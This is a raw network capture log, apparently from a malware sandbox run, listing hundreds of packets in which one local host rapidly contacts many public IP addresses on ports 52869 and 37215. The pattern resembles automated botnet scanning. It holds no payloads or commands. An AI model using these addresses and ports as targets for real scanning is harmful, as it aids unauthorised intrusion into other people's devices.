Jul 20, 2024 23:05:44.767925978 CEST	43695	52869	192.168.2.13	207.115.210.11
Jul 20, 2024 23:05:44.767925978 CEST	43695	52869	192.168.2.13	60.65.218.208
Jul 20, 2024 23:05:44.767925978 CEST	43695	52869	192.168.2.13	116.91.243.144
Jul 20, 2024 23:05:44.767925978 CEST	43695	52869	192.168.2.13	4.10.156.94
Jul 20, 2024 23:05:44.767925978 CEST	43695	52869	192.168.2.13	100.54.187.205
Jul 20, 2024 23:05:44.767925978 CEST	43695	52869	192.168.2.13	107.215.202.123
Jul 20, 2024 23:05:44.767925978 CEST	43695	52869	192.168.2.13	67.39.42.217
Jul 20, 2024 23:05:44.767936945 CEST	52869	43695	147.49.98.20	192.168.2.13
Jul 20, 2024 23:05:44.768102884 CEST	52869	43695	117.179.3.179	192.168.2.13
Jul 20, 2024 23:05:44.768106937 CEST	52869	43695	5.11.90.177	192.168.2.13
Jul 20, 2024 23:05:44.768331051 CEST	52869	43695	72.243.193.23	192.168.2.13
Jul 20, 2024 23:05:44.768335104 CEST	52869	43695	143.103.67.33	192.168.2.13
Jul 20, 2024 23:05:44.768343925 CEST	52869	43695	13.235.137.177	192.168.2.13
Jul 20, 2024 23:05:44.768507957 CEST	52869	43695	115.231.71.8	192.168.2.13
Jul 20, 2024 23:05:44.768584013 CEST	52869	43695	24.106.137.173	192.168.2.13
Jul 20, 2024 23:05:44.768856049 CEST	52869	43695	53.190.237.195	192.168.2.13
Jul 20, 2024 23:05:44.768860102 CEST	52869	43695	35.238.156.67	192.168.2.13
Jul 20, 2024 23:05:44.768868923 CEST	52869	43695	160.27.139.144	192.168.2.13
Jul 20, 2024 23:05:44.769098043 CEST	52869	43695	76.33.91.119	192.168.2.13
Jul 20, 2024 23:05:44.769157887 CEST	52869	43695	207.78.68.47	192.168.2.13
Jul 20, 2024 23:05:44.769181967 CEST	52106	80	192.168.2.13	95.146.16.103
Jul 20, 2024 23:05:44.769340992 CEST	52869	43695	80.194.29.81	192.168.2.13
Jul 20, 2024 23:05:44.769427061 CEST	43695	52869	192.168.2.13	134.249.230.187
Jul 20, 2024 23:05:44.769427061 CEST	43695	52869	192.168.2.13	185.211.200.236
Jul 20, 2024 23:05:44.769427061 CEST	43695	52869	192.168.2.13	196.255.5.71
Jul 20, 2024 23:05:44.769520044 CEST	52869	43695	205.56.139.172	192.168.2.13
Jul 20, 2024 23:05:44.769524097 CEST	52869	43695	38.143.29.99	192.168.2.13
Jul 20, 2024 23:05:44.769531965 CEST	52869	43695	169.62.241.60	192.168.2.13
Jul 20, 2024 23:05:44.769665003 CEST	44719	37215	192.168.2.13	157.244.185.202
Jul 20, 2024 23:05:44.769665003 CEST	44719	37215	192.168.2.13	41.143.128.142
Jul 20, 2024 23:05:44.769665003 CEST	44719	37215	192.168.2.13	157.50.60.75
Jul 20, 2024 23:05:44.769665003 CEST	44719	37215	192.168.2.13	157.81.218.133
Jul 20, 2024 23:05:44.769665003 CEST	44719	37215	192.168.2.13	157.69.65.73
Jul 20, 2024 23:05:44.769665003 CEST	44719	37215	192.168.2.13	90.247.125.95
Jul 20, 2024 23:05:44.769665003 CEST	44719	37215	192.168.2.13	157.238.130.22
Jul 20, 2024 23:05:44.769696951 CEST	52869	43695	147.75.131.20	192.168.2.13
Jul 20, 2024 23:05:44.770016909 CEST	52869	43695	50.201.147.187	192.168.2.13
Jul 20, 2024 23:05:44.770020962 CEST	52869	43695	90.103.49.222	192.168.2.13
Jul 20, 2024 23:05:44.770030975 CEST	52869	43695	53.192.11.80	192.168.2.13
Jul 20, 2024 23:05:44.770224094 CEST	44719	37215	192.168.2.13	41.223.40.198
Jul 20, 2024 23:05:44.770224094 CEST	44719	37215	192.168.2.13	157.37.209.180
Jul 20, 2024 23:05:44.770224094 CEST	44719	37215	192.168.2.13	157.145.183.202
Jul 20, 2024 23:05:44.770224094 CEST	44719	37215	192.168.2.13	134.212.203.245
Jul 20, 2024 23:05:44.770224094 CEST	44719	37215	192.168.2.13	157.230.229.245
Jul 20, 2024 23:05:44.770262957 CEST	52869	43695	175.155.101.178	192.168.2.13
Jul 20, 2024 23:05:44.770351887 CEST	43695	52869	192.168.2.13	83.166.159.0
Jul 20, 2024 23:05:44.770351887 CEST	43695	52869	192.168.2.13	136.8.212.177
Jul 20, 2024 23:05:44.770351887 CEST	43695	52869	192.168.2.13	31.206.134.66
Jul 20, 2024 23:05:44.770351887 CEST	43695	52869	192.168.2.13	144.201.3.84
Jul 20, 2024 23:05:44.770351887 CEST	43695	52869	192.168.2.13	64.200.199.21
Jul 20, 2024 23:05:44.770351887 CEST	43695	52869	192.168.2.13	166.58.40.96
Jul 20, 2024 23:05:44.770353079 CEST	43695	52869	192.168.2.13	105.8.172.1
Jul 20, 2024 23:05:44.770353079 CEST	43695	52869	192.168.2.13	46.10.47.130
Jul 20, 2024 23:05:44.770382881 CEST	37215	44719	41.110.103.205	192.168.2.13
Jul 20, 2024 23:05:44.770531893 CEST	52869	43695	36.122.31.202	192.168.2.13
Jul 20, 2024 23:05:44.770535946 CEST	37215	44719	54.33.48.195	192.168.2.13
Jul 20, 2024 23:05:44.771032095 CEST	52869	43695	9.75.8.22	192.168.2.13
Jul 20, 2024 23:05:44.771037102 CEST	52869	43695	177.172.242.108	192.168.2.13
Jul 20, 2024 23:05:44.771047115 CEST	52869	43695	185.81.177.164	192.168.2.13
Jul 20, 2024 23:05:44.771116018 CEST	37215	44719	199.177.55.230	192.168.2.13
Jul 20, 2024 23:05:44.771554947 CEST	52869	43695	85.203.84.114	192.168.2.13
Jul 20, 2024 23:05:44.771686077 CEST	37215	44719	157.192.66.118	192.168.2.13
Jul 20, 2024 23:05:44.771691084 CEST	52869	43695	196.148.71.131	192.168.2.13
Jul 20, 2024 23:05:44.771874905 CEST	52869	43695	112.91.116.109	192.168.2.13
Jul 20, 2024 23:05:44.771879911 CEST	80	60306	95.143.222.132	192.168.2.13
Jul 20, 2024 23:05:44.771949053 CEST	52869	43695	142.120.198.214	192.168.2.13
Jul 20, 2024 23:05:44.771954060 CEST	52869	43695	4.142.254.239	192.168.2.13
Jul 20, 2024 23:05:44.772070885 CEST	52869	43695	218.168.241.182	192.168.2.13
Jul 20, 2024 23:05:44.772075891 CEST	52869	43695	187.17.62.193	192.168.2.13
Jul 20, 2024 23:05:44.772373915 CEST	80	51992	95.239.206.180	192.168.2.13
Jul 20, 2024 23:05:44.772677898 CEST	37215	44719	197.99.45.206	192.168.2.13
Jul 20, 2024 23:05:44.772682905 CEST	52869	43695	38.224.234.248	192.168.2.13
Jul 20, 2024 23:05:44.772891045 CEST	44719	37215	192.168.2.13	101.157.112.12
Jul 20, 2024 23:05:44.772891045 CEST	44719	37215	192.168.2.13	41.213.66.56
Jul 20, 2024 23:05:44.772891045 CEST	44719	37215	192.168.2.13	41.216.36.70
Jul 20, 2024 23:05:44.772891045 CEST	44719	37215	192.168.2.13	197.77.106.195
Jul 20, 2024 23:05:44.772891045 CEST	44719	37215	192.168.2.13	197.161.215.90
Jul 20, 2024 23:05:44.772891045 CEST	44719	37215	192.168.2.13	197.115.8.156
Jul 20, 2024 23:05:44.772891045 CEST	44719	37215	192.168.2.13	101.218.8.191
Jul 20, 2024 23:05:44.773042917 CEST	52869	43695	156.55.6.20	192.168.2.13
Jul 20, 2024 23:05:44.773140907 CEST	52869	43695	128.185.217.88	192.168.2.13
Jul 20, 2024 23:05:44.773154974 CEST	52869	43695	85.31.225.149	192.168.2.13
Jul 20, 2024 23:05:44.773300886 CEST	44719	37215	192.168.2.13	65.239.154.17
Jul 20, 2024 23:05:44.773300886 CEST	44719	37215	192.168.2.13	174.54.235.104
Jul 20, 2024 23:05:44.773300886 CEST	44719	37215	192.168.2.13	197.217.187.201
Jul 20, 2024 23:05:44.773300886 CEST	44719	37215	192.168.2.13	41.17.70.158
Jul 20, 2024 23:05:44.773300886 CEST	44719	37215	192.168.2.13	197.116.214.205
Jul 20, 2024 23:05:44.773300886 CEST	44719	37215	192.168.2.13	41.132.35.1
Jul 20, 2024 23:05:44.773300886 CEST	44719	37215	192.168.2.13	157.97.59.24
Jul 20, 2024 23:05:44.773300886 CEST	44719	37215	192.168.2.13	197.95.161.119
Jul 20, 2024 23:05:44.773570061 CEST	43695	52869	192.168.2.13	68.167.55.248
Jul 20, 2024 23:05:44.773570061 CEST	43695	52869	192.168.2.13	171.78.8.235
Jul 20, 2024 23:05:44.773570061 CEST	43695	52869	192.168.2.13	131.45.56.197
Jul 20, 2024 23:05:44.773570061 CEST	43695	52869	192.168.2.13	37.236.222.81
Jul 20, 2024 23:05:44.773570061 CEST	43695	52869	192.168.2.13	182.14.252.2
Jul 20, 2024 23:05:44.773570061 CEST	43695	52869	192.168.2.13	43.57.119.26
Jul 20, 2024 23:05:44.773570061 CEST	43695	52869	192.168.2.13	168.173.10.54
Jul 20, 2024 23:05:44.773570061 CEST	43695	52869	192.168.2.13	82.144.99.220
Jul 20, 2024 23:05:44.773736000 CEST	37215	44719	41.103.210.9	192.168.2.13
Jul 20, 2024 23:05:44.773741007 CEST	52869	43695	143.56.55.183	192.168.2.13
Jul 20, 2024 23:05:44.773919106 CEST	37215	44719	157.42.125.17	192.168.2.13
Jul 20, 2024 23:05:44.773929119 CEST	52869	43695	94.192.41.225	192.168.2.13
Jul 20, 2024 23:05:44.773940086 CEST	37215	44719	216.61.151.61	192.168.2.13
Jul 20, 2024 23:05:44.773942947 CEST	52869	43695	36.170.162.58	192.168.2.13
Jul 20, 2024 23:05:44.773950100 CEST	52869	43695	108.155.162.179	192.168.2.13
Jul 20, 2024 23:05:44.773976088 CEST	43695	52869	192.168.2.13	116.160.217.31
Jul 20, 2024 23:05:44.773976088 CEST	43695	52869	192.168.2.13	35.25.153.99
Jul 20, 2024 23:05:44.773976088 CEST	43695	52869	192.168.2.13	20.203.169.206
Jul 20, 2024 23:05:44.773977041 CEST	43695	52869	192.168.2.13	126.214.224.191
Jul 20, 2024 23:05:44.773977041 CEST	43695	52869	192.168.2.13	43.36.113.219
Jul 20, 2024 23:05:44.773977041 CEST	43695	52869	192.168.2.13	122.70.145.36
Jul 20, 2024 23:05:44.773977041 CEST	43695	52869	192.168.2.13	87.91.250.120
Jul 20, 2024 23:05:44.773977041 CEST	43695	52869	192.168.2.13	123.39.250.114
Jul 20, 2024 23:05:44.774092913 CEST	52869	43695	25.240.115.218	192.168.2.13
Jul 20, 2024 23:05:44.774142981 CEST	52869	43695	35.12.142.12	192.168.2.13
Jul 20, 2024 23:05:44.774147987 CEST	52869	43695	207.115.210.11	192.168.2.13
Jul 20, 2024 23:05:44.776875973 CEST	43695	52869	192.168.2.13	142.134.226.36
Jul 20, 2024 23:05:44.776875973 CEST	43695	52869	192.168.2.13	109.25.94.232
Jul 20, 2024 23:05:44.776876926 CEST	43695	52869	192.168.2.13	146.199.133.2
Jul 20, 2024 23:05:44.776876926 CEST	43695	52869	192.168.2.13	57.192.133.205
Jul 20, 2024 23:05:44.776876926 CEST	43695	52869	192.168.2.13	75.173.239.89
Jul 20, 2024 23:05:44.776876926 CEST	43695	52869	192.168.2.13	95.180.184.233
Jul 20, 2024 23:05:44.776876926 CEST	43695	52869	192.168.2.13	103.15.164.98
Jul 20, 2024 23:05:44.776876926 CEST	43695	52869	192.168.2.13	47.161.92.158
Jul 20, 2024 23:05:44.776923895 CEST	36212	8081	192.168.2.13	93.210.42.24
Jul 20, 2024 23:05:44.777431965 CEST	44719	37215	192.168.2.13	41.155.145.234
Jul 20, 2024 23:05:44.777431965 CEST	44719	37215	192.168.2.13	197.76.251.122
Jul 20, 2024 23:05:44.777431965 CEST	44719	37215	192.168.2.13	182.199.59.168
Jul 20, 2024 23:05:44.777431965 CEST	44719	37215	192.168.2.13	41.160.102.231
Jul 20, 2024 23:05:44.777431965 CEST	44719	37215	192.168.2.13	197.90.62.12
Jul 20, 2024 23:05:44.777431965 CEST	44719	37215	192.168.2.13	157.165.243.45
Jul 20, 2024 23:05:44.777431965 CEST	44719	37215	192.168.2.13	42.67.78.124
Jul 20, 2024 23:05:44.778753042 CEST	44719	37215	192.168.2.13	41.74.21.183
Jul 20, 2024 23:05:44.778753042 CEST	44719	37215	192.168.2.13	193.43.6.237
Jul 20, 2024 23:05:44.778753042 CEST	44719	37215	192.168.2.13	197.113.228.165
Jul 20, 2024 23:05:44.778753042 CEST	44719	37215	192.168.2.13	197.194.246.169
Jul 20, 2024 23:05:44.778753042 CEST	44719	37215	192.168.2.13	59.39.32.112
Jul 20, 2024 23:05:44.778753042 CEST	44719	37215	192.168.2.13	185.113.189.56
Jul 20, 2024 23:05:44.778753042 CEST	44719	37215	192.168.2.13	194.27.210.151
Jul 20, 2024 23:05:44.778753042 CEST	44719	37215	192.168.2.13	41.90.43.110
Jul 20, 2024 23:05:44.779309988 CEST	43695	52869	192.168.2.13	69.72.200.86
Jul 20, 2024 23:05:44.779309988 CEST	43695	52869	192.168.2.13	132.97.210.26
Jul 20, 2024 23:05:44.779309988 CEST	43695	52869	192.168.2.13	142.197.251.141
Jul 20, 2024 23:05:44.779309988 CEST	43695	52869	192.168.2.13	212.37.14.168
Jul 20, 2024 23:05:44.779309988 CEST	43695	52869	192.168.2.13	67.132.33.229
Jul 20, 2024 23:05:44.779309988 CEST	43695	52869	192.168.2.13	199.205.235.58
Jul 20, 2024 23:05:44.779309988 CEST	43695	52869	192.168.2.13	97.142.102.69
Jul 20, 2024 23:05:44.779309988 CEST	43695	52869	192.168.2.13	219.163.227.14
Jul 20, 2024 23:05:44.779711008 CEST	43695	52869	192.168.2.13	82.224.180.19
Jul 20, 2024 23:05:44.781018972 CEST	44719	37215	192.168.2.13	197.52.166.177
Jul 20, 2024 23:05:44.781018972 CEST	44719	37215	192.168.2.13	41.190.248.65
Jul 20, 2024 23:05:44.781018972 CEST	44719	37215	192.168.2.13	157.222.70.203
Jul 20, 2024 23:05:44.781018972 CEST	44719	37215	192.168.2.13	157.11.209.216
Jul 20, 2024 23:05:44.781018972 CEST	44719	37215	192.168.2.13	157.134.216.253
Jul 20, 2024 23:05:44.781018972 CEST	44719	37215	192.168.2.13	41.9.168.94
Jul 20, 2024 23:05:44.781018972 CEST	44719	37215	192.168.2.13	197.17.169.171
Jul 20, 2024 23:05:44.781317949 CEST	43695	52869	192.168.2.13	195.7.114.67
Jul 20, 2024 23:05:44.781317949 CEST	43695	52869	192.168.2.13	164.48.46.76
Jul 20, 2024 23:05:44.781317949 CEST	43695	52869	192.168.2.13	202.205.64.46
Jul 20, 2024 23:05:44.781462908 CEST	43695	52869	192.168.2.13	93.162.35.46
Jul 20, 2024 23:05:44.781462908 CEST	43695	52869	192.168.2.13	101.95.172.46
Jul 20, 2024 23:05:44.781462908 CEST	43695	52869	192.168.2.13	82.193.155.243
Jul 20, 2024 23:05:44.781462908 CEST	43695	52869	192.168.2.13	212.81.177.224
Jul 20, 2024 23:05:44.781462908 CEST	43695	52869	192.168.2.13	14.18.73.239
Jul 20, 2024 23:05:44.781462908 CEST	43695	52869	192.168.2.13	71.118.138.176
Jul 20, 2024 23:05:44.781462908 CEST	43695	52869	192.168.2.13	102.164.220.212
Jul 20, 2024 23:05:44.781462908 CEST	43695	52869	192.168.2.13	24.112.108.177
Jul 20, 2024 23:05:44.782321930 CEST	44719	37215	192.168.2.13	157.154.110.104
Jul 20, 2024 23:05:44.782321930 CEST	44719	37215	192.168.2.13	197.144.176.77
Jul 20, 2024 23:05:44.782321930 CEST	44719	37215	192.168.2.13	197.239.7.132
Jul 20, 2024 23:05:44.785206079 CEST	44719	37215	192.168.2.13	197.243.125.201
Jul 20, 2024 23:05:44.785206079 CEST	44719	37215	192.168.2.13	157.119.174.34
Jul 20, 2024 23:05:44.785206079 CEST	44719	37215	192.168.2.13	157.159.140.43
Jul 20, 2024 23:05:44.785206079 CEST	44719	37215	192.168.2.13	185.191.185.216
Jul 20, 2024 23:05:44.785206079 CEST	44719	37215	192.168.2.13	157.27.183.120
Jul 20, 2024 23:05:44.785206079 CEST	44719	37215	192.168.2.13	41.121.242.110
Jul 20, 2024 23:05:44.785206079 CEST	44719	37215	192.168.2.13	197.245.129.110
Jul 20, 2024 23:05:44.785206079 CEST	44719	37215	192.168.2.13	41.234.62.246
Jul 20, 2024 23:05:44.785342932 CEST	43695	52869	192.168.2.13	105.204.181.181
Jul 20, 2024 23:05:44.785342932 CEST	43695	52869	192.168.2.13	115.141.187.49
Jul 20, 2024 23:05:44.785342932 CEST	43695	52869	192.168.2.13	175.51.103.237
Jul 20, 2024 23:05:44.785343885 CEST	43695	52869	192.168.2.13	74.148.254.117
Jul 20, 2024 23:05:44.785343885 CEST	43695	52869	192.168.2.13	93.251.211.51
Jul 20, 2024 23:05:44.785343885 CEST	43695	52869	192.168.2.13	52.176.210.28
Jul 20, 2024 23:05:44.785343885 CEST	43695	52869	192.168.2.13	179.80.6.155
Jul 20, 2024 23:05:44.785645008 CEST	43695	52869	192.168.2.13	223.159.115.236
Jul 20, 2024 23:05:44.785645008 CEST	43695	52869	192.168.2.13	94.184.209.167
Jul 20, 2024 23:05:44.785645008 CEST	43695	52869	192.168.2.13	27.227.89.153
Jul 20, 2024 23:05:44.785645008 CEST	43695	52869	192.168.2.13	152.187.71.156
Jul 20, 2024 23:05:44.785645008 CEST	43695	52869	192.168.2.13	222.241.13.44
Jul 20, 2024 23:05:44.785645008 CEST	43695	52869	192.168.2.13	182.32.199.224
Jul 20, 2024 23:05:44.785645008 CEST	43695	52869	192.168.2.13	220.122.204.10
Jul 20, 2024 23:05:44.785645008 CEST	43695	52869	192.168.2.13	75.114.40.99
Jul 20, 2024 23:05:44.785937071 CEST	43695	52869	192.168.2.13	100.162.192.30
Jul 20, 2024 23:05:44.785937071 CEST	43695	52869	192.168.2.13	109.202.190.223
Jul 20, 2024 23:05:44.785937071 CEST	43695	52869	192.168.2.13	206.175.37.85
Jul 20, 2024 23:05:44.785938025 CEST	43695	52869	192.168.2.13	197.232.182.20
Jul 20, 2024 23:05:44.785938025 CEST	43695	52869	192.168.2.13	115.184.146.203
Jul 20, 2024 23:05:44.785938025 CEST	43695	52869	192.168.2.13	179.89.127.176
Jul 20, 2024 23:05:44.785938025 CEST	43695	52869	192.168.2.13	19.1.91.223
Jul 20, 2024 23:05:44.785938025 CEST	43695	52869	192.168.2.13	146.55.210.221
Jul 20, 2024 23:05:44.786308050 CEST	49232	80	192.168.2.13	95.36.83.126
Jul 20, 2024 23:05:44.786308050 CEST	36212	8081	192.168.2.13	93.210.42.24
Jul 20, 2024 23:05:44.788573027 CEST	44719	37215	192.168.2.13	157.246.138.59
Jul 20, 2024 23:05:44.788573027 CEST	44719	37215	192.168.2.13	197.222.2.194
Jul 20, 2024 23:05:44.788573027 CEST	44719	37215	192.168.2.13	120.142.12.100
Jul 20, 2024 23:05:44.788573980 CEST	43695	52869	192.168.2.13	164.158.62.205
Jul 20, 2024 23:05:44.788573980 CEST	43695	52869	192.168.2.13	32.232.240.167
Jul 20, 2024 23:05:44.788573980 CEST	43695	52869	192.168.2.13	69.65.232.18
Jul 20, 2024 23:05:44.788573980 CEST	43695	52869	192.168.2.13	205.7.117.151
Jul 20, 2024 23:05:44.789314032 CEST	43695	52869	192.168.2.13	173.172.194.219
Jul 20, 2024 23:05:44.789314985 CEST	43695	52869	192.168.2.13	76.165.230.69
Jul 20, 2024 23:05:44.789314985 CEST	43695	52869	192.168.2.13	221.155.204.172
Jul 20, 2024 23:05:44.789314985 CEST	43695	52869	192.168.2.13	93.204.236.191
Jul 20, 2024 23:05:44.789314985 CEST	43695	52869	192.168.2.13	179.215.11.14
Jul 20, 2024 23:05:44.789314985 CEST	43695	52869	192.168.2.13	207.184.114.110
Jul 20, 2024 23:05:44.789314985 CEST	43695	52869	192.168.2.13	145.114.143.28
Jul 20, 2024 23:05:44.789314985 CEST	43695	52869	192.168.2.13	86.60.170.24
Jul 20, 2024 23:05:44.790003061 CEST	43695	52869	192.168.2.13	41.89.210.181
Jul 20, 2024 23:05:44.790003061 CEST	43695	52869	192.168.2.13	61.186.30.91
Jul 20, 2024 23:05:44.790004015 CEST	43695	52869	192.168.2.13	78.83.102.206
Jul 20, 2024 23:05:44.790004015 CEST	43695	52869	192.168.2.13	178.224.47.139
Jul 20, 2024 23:05:44.790004015 CEST	43695	52869	192.168.2.13	45.228.227.144
Jul 20, 2024 23:05:44.790004015 CEST	43695	52869	192.168.2.13	19.161.78.222
Jul 20, 2024 23:05:44.790004015 CEST	43695	52869	192.168.2.13	24.74.242.144
Jul 20, 2024 23:05:44.790004015 CEST	43695	52869	192.168.2.13	144.109.48.201
Jul 20, 2024 23:05:44.790265083 CEST	44719	37215	192.168.2.13	47.160.56.113
Jul 20, 2024 23:05:44.790265083 CEST	44719	37215	192.168.2.13	41.100.122.57
Jul 20, 2024 23:05:44.791570902 CEST	43695	52869	192.168.2.13	175.158.208.42
Jul 20, 2024 23:05:44.791570902 CEST	43695	52869	192.168.2.13	205.49.222.205
Jul 20, 2024 23:05:44.791570902 CEST	43695	52869	192.168.2.13	73.135.137.143
Jul 20, 2024 23:05:44.791570902 CEST	43695	52869	192.168.2.13	87.132.111.115
Jul 20, 2024 23:05:44.791570902 CEST	43695	52869	192.168.2.13	80.81.2.148
Jul 20, 2024 23:05:44.791570902 CEST	43695	52869	192.168.2.13	110.23.134.15
Jul 20, 2024 23:05:44.791570902 CEST	43695	52869	192.168.2.13	59.146.169.141
Jul 20, 2024 23:05:44.791627884 CEST	52869	43695	18.20.68.195	192.168.2.13
Jul 20, 2024 23:05:44.791632891 CEST	52869	43695	102.161.177.239	192.168.2.13
Jul 20, 2024 23:05:44.791634083 CEST	37215	44719	197.203.211.123	192.168.2.13
Jul 20, 2024 23:05:44.791635036 CEST	52869	43695	66.233.74.150	192.168.2.13
Jul 20, 2024 23:05:44.791636944 CEST	37215	44719	157.244.185.202	192.168.2.13
Jul 20, 2024 23:05:44.791637897 CEST	37215	44719	41.143.128.142	192.168.2.13
Jul 20, 2024 23:05:44.791646004 CEST	52869	43695	210.63.32.117	192.168.2.13
Jul 20, 2024 23:05:44.791646957 CEST	52869	43695	83.166.159.0	192.168.2.13
Jul 20, 2024 23:05:44.791647911 CEST	37215	44719	157.50.60.75	192.168.2.13
Jul 20, 2024 23:05:44.791647911 CEST	52869	43695	60.65.218.208	192.168.2.13
Jul 20, 2024 23:05:44.791651964 CEST	37215	44719	157.81.218.133	192.168.2.13
Jul 20, 2024 23:05:44.791656017 CEST	52869	43695	31.206.134.66	192.168.2.13
Jul 20, 2024 23:05:44.791656971 CEST	37215	44719	157.69.65.73	192.168.2.13
Jul 20, 2024 23:05:44.791657925 CEST	37215	44719	157.145.183.202	192.168.2.13
Jul 20, 2024 23:05:44.791659117 CEST	52869	43695	144.201.3.84	192.168.2.13
Jul 20, 2024 23:05:44.791662931 CEST	37215	44719	134.212.203.245	192.168.2.13
Jul 20, 2024 23:05:44.791665077 CEST	37215	44719	90.247.125.95	192.168.2.13
Jul 20, 2024 23:05:44.791666031 CEST	52869	43695	122.70.145.36	192.168.2.13
Jul 20, 2024 23:05:44.791670084 CEST	37215	44719	157.230.229.245	192.168.2.13
Jul 20, 2024 23:05:44.791671038 CEST	52869	43695	107.215.202.123	192.168.2.13
Jul 20, 2024 23:05:44.791671991 CEST	52869	43695	64.200.199.21	192.168.2.13
Jul 20, 2024 23:05:44.791675091 CEST	52869	43695	166.58.40.96	192.168.2.13
Jul 20, 2024 23:05:44.791676044 CEST	52869	43695	105.8.172.1	192.168.2.13
Jul 20, 2024 23:05:44.791677952 CEST	37215	44719	101.157.112.12	192.168.2.13
Jul 20, 2024 23:05:44.791682005 CEST	52869	43695	46.10.47.130	192.168.2.13
Jul 20, 2024 23:05:44.791687965 CEST	52869	43695	47.161.92.158	192.168.2.13
Jul 20, 2024 23:05:44.791688919 CEST	52869	43695	171.78.8.235	192.168.2.13
Jul 20, 2024 23:05:44.791691065 CEST	37215	44719	157.165.243.45	192.168.2.13
Jul 20, 2024 23:05:44.791692019 CEST	37215	44719	174.54.235.104	192.168.2.13
Jul 20, 2024 23:05:44.791695118 CEST	52869	43695	37.236.222.81	192.168.2.13
Jul 20, 2024 23:05:44.791697025 CEST	52869	43695	182.14.252.2	192.168.2.13
Jul 20, 2024 23:05:44.791699886 CEST	52869	43695	95.180.184.233	192.168.2.13
Jul 20, 2024 23:05:44.791702986 CEST	52869	43695	43.57.119.26	192.168.2.13
Jul 20, 2024 23:05:44.791703939 CEST	37215	44719	41.17.70.158	192.168.2.13
Jul 20, 2024 23:05:44.791704893 CEST	37215	44719	41.216.36.70	192.168.2.13
Jul 20, 2024 23:05:44.791708946 CEST	37215	44719	197.77.106.195	192.168.2.13
Jul 20, 2024 23:05:44.791709900 CEST	52869	43695	168.173.10.54	192.168.2.13
Jul 20, 2024 23:05:44.791712999 CEST	37215	44719	197.161.215.90	192.168.2.13
Jul 20, 2024 23:05:44.791721106 CEST	37215	44719	41.132.35.1	192.168.2.13
Jul 20, 2024 23:05:44.791722059 CEST	37215	44719	197.115.8.156	192.168.2.13
Jul 20, 2024 23:05:44.791723013 CEST	37215	44719	101.218.8.191	192.168.2.13
Jul 20, 2024 23:05:44.791723967 CEST	52869	43695	43.36.113.219	192.168.2.13
Jul 20, 2024 23:05:44.791723967 CEST	52869	43695	69.72.200.86	192.168.2.13
Jul 20, 2024 23:05:44.791726112 CEST	52869	43695	109.25.94.232	192.168.2.13
Jul 20, 2024 23:05:44.791726112 CEST	52869	43695	146.199.133.2	192.168.2.13
Jul 20, 2024 23:05:44.791727066 CEST	37215	44719	41.155.145.234	192.168.2.13
Jul 20, 2024 23:05:44.791739941 CEST	37215	44719	41.160.102.231	192.168.2.13
Jul 20, 2024 23:05:44.791742086 CEST	52869	43695	87.91.250.120	192.168.2.13
Jul 20, 2024 23:05:44.791743040 CEST	37215	44719	197.95.161.119	192.168.2.13
Jul 20, 2024 23:05:44.791744947 CEST	37215	44719	197.76.251.122	192.168.2.13
Jul 20, 2024 23:05:44.791745901 CEST	37215	44719	182.199.59.168	192.168.2.13
Jul 20, 2024 23:05:44.791747093 CEST	52869	43695	123.39.250.114	192.168.2.13
Jul 20, 2024 23:05:44.791749001 CEST	52869	43695	75.173.239.89	192.168.2.13
Jul 20, 2024 23:05:44.791754007 CEST	37215	44719	193.43.6.237	192.168.2.13
Jul 20, 2024 23:05:44.791754961 CEST	37215	44719	197.90.62.12	192.168.2.13
Jul 20, 2024 23:05:44.791755915 CEST	52869	43695	103.15.164.98	192.168.2.13
Jul 20, 2024 23:05:44.791757107 CEST	37215	44719	185.113.189.56	192.168.2.13
Jul 20, 2024 23:05:44.791758060 CEST	52869	43695	132.97.210.26	192.168.2.13
Jul 20, 2024 23:05:44.791759014 CEST	37215	44719	194.27.210.151	192.168.2.13
Jul 20, 2024 23:05:44.791759014 CEST	52869	43695	142.197.251.141	192.168.2.13
Jul 20, 2024 23:05:44.791759968 CEST	37215	44719	197.52.166.177	192.168.2.13
Jul 20, 2024 23:05:44.791760921 CEST	37215	44719	41.90.43.110	192.168.2.13
Jul 20, 2024 23:05:44.791760921 CEST	37215	44719	41.190.248.65	192.168.2.13
Jul 20, 2024 23:05:44.791762114 CEST	52869	43695	93.162.35.46	192.168.2.13
Jul 20, 2024 23:05:44.791763067 CEST	37215	44719	157.154.110.104	192.168.2.13
Jul 20, 2024 23:05:44.791768074 CEST	37215	44719	157.222.70.203	192.168.2.13
Jul 20, 2024 23:05:44.791769028 CEST	52869	43695	101.95.172.46	192.168.2.13
Jul 20, 2024 23:05:44.791769028 CEST	37215	44719	157.11.209.216	192.168.2.13
Jul 20, 2024 23:05:44.791769981 CEST	37215	44719	197.144.176.77	192.168.2.13
Jul 20, 2024 23:05:44.791769981 CEST	37215	44719	157.134.216.253	192.168.2.13
Jul 20, 2024 23:05:44.791771889 CEST	52869	43695	82.193.155.243	192.168.2.13
Jul 20, 2024 23:05:44.791776896 CEST	37215	44719	41.9.168.94	192.168.2.13
Jul 20, 2024 23:05:44.791779995 CEST	52869	43695	212.81.177.224	192.168.2.13
Jul 20, 2024 23:05:44.791781902 CEST	37215	44719	197.239.7.132	192.168.2.13
Jul 20, 2024 23:05:44.791784048 CEST	52869	43695	212.37.14.168	192.168.2.13
Jul 20, 2024 23:05:44.791789055 CEST	52869	43695	14.18.73.239	192.168.2.13
Jul 20, 2024 23:05:44.791790962 CEST	52869	43695	67.132.33.229	192.168.2.13
Jul 20, 2024 23:05:44.791806936 CEST	52869	43695	71.118.138.176	192.168.2.13
Jul 20, 2024 23:05:44.791806936 CEST	52869	43695	199.205.235.58	192.168.2.13
Jul 20, 2024 23:05:44.791810036 CEST	37215	44719	197.17.169.171	192.168.2.13
Jul 20, 2024 23:05:44.791816950 CEST	52869	43695	97.142.102.69	192.168.2.13
Jul 20, 2024 23:05:44.791817904 CEST	52869	43695	102.164.220.212	192.168.2.13
Jul 20, 2024 23:05:44.791820049 CEST	52869	43695	219.163.227.14	192.168.2.13
Jul 20, 2024 23:05:44.791825056 CEST	37215	44719	197.243.125.201	192.168.2.13
Jul 20, 2024 23:05:44.791826010 CEST	52869	43695	24.112.108.177	192.168.2.13
Jul 20, 2024 23:05:44.791832924 CEST	37215	44719	157.119.174.34	192.168.2.13
Jul 20, 2024 23:05:44.791836977 CEST	52869	43695	100.162.192.30	192.168.2.13
Jul 20, 2024 23:05:44.791867971 CEST	52869	43695	223.159.115.236	192.168.2.13
Jul 20, 2024 23:05:44.791872978 CEST	52869	43695	105.204.181.181	192.168.2.13
Jul 20, 2024 23:05:44.791877031 CEST	37215	44719	157.159.140.43	192.168.2.13
Jul 20, 2024 23:05:44.791881084 CEST	37215	44719	185.191.185.216	192.168.2.13
